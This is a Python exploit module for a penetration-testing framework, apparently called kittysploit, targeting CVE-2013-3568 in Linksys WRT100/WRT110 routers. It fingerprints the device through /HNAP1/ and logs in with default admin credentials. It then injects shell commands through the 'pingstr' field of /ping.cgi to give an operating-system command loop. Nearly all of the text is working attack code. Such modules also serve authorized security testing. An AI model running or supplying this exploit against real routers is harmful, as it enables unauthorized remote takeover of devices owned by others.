Linksys WRT100/WRT110 RCE

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Linksys WRT100/WRT110 RCE"""


from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'Linksys WRT100/WRT110 RCE',
        'description': 'Module exploits remote command execution in Linksys WRT100/WRT110 devices. If the target is vulnerable, command loop is invoked that allows executing commands on operating system level.',
        'author': ['Craig Young', 'Marcin Bury'],
        'cve': ['CVE-2013-3568'],
        'platform': Platform.LINUX,
        'payload': {'default': 'nopayload'},
        'references': ['http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-3568', 'http://seclists.org/bugtraq/2013/Jul/78'],
        'tags': ['iot', 'router', 'rce', 'unauth', 'cve-2013-3568'],
        'agent': {
            'risk': 'intrusive',
            'effects': ['active_exploitation'],
            'expected_requests': 2,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'risk_signals'],
            'cost': 1.5,
            'noise': 0.5,
            'value': 1.0,
        },
    }

    target = OptIP("", "Target IPv4 or IPv6 address")
    port = OptPort(80, "Target HTTP port")
    username = OptString("admin", "Username to log in")
    password = OptString("admin", "Password to log in")

    def execute(self, cmd):
        payload = "& {}".format(cmd)
        data = {
            "pingstr": payload
        }

        self.http_request(
            method="POST",
            path="/ping.cgi",
            data=data,
            auth=(self.username, self.password)
        )
        return ""
    def check(self):
        response = self.http_request(
            method="GET",
            path="/HNAP1/"
        )

        if response is not None and "<ModelName>WRT110</ModelName>" in response.text:
            return {"vulnerable": True, "reason": "Check succeeded", "confidence": "medium"}  # target is vulnerable

        return {"vulnerable": False, "reason": "Check failed", "confidence": "medium"}  # target is not vulnerable
    def test_auth(self):
        print_status("Trying to authenticate")
        response = self.http_request(
            method="GET",
            path="/",
            auth=(self.username, self.password)
        )

        if response is None or response.status_code == 401 or response.status_code == 404:
            print_error("Could not authenticate {}:{}".format(self.username, self.password))
            return False
        else:
            print_success("Successful authentication {}:{}".format(self.username, self.password))
            return True

    def run(self):
        result = self.check()
        if isinstance(result, dict):
            if not result.get("vulnerable"):
                self.not_vulnerable()
                return False
        elif not result:
            self.not_vulnerable()
            return False
        print_success("Target appears vulnerable")
        return self.handler_execute()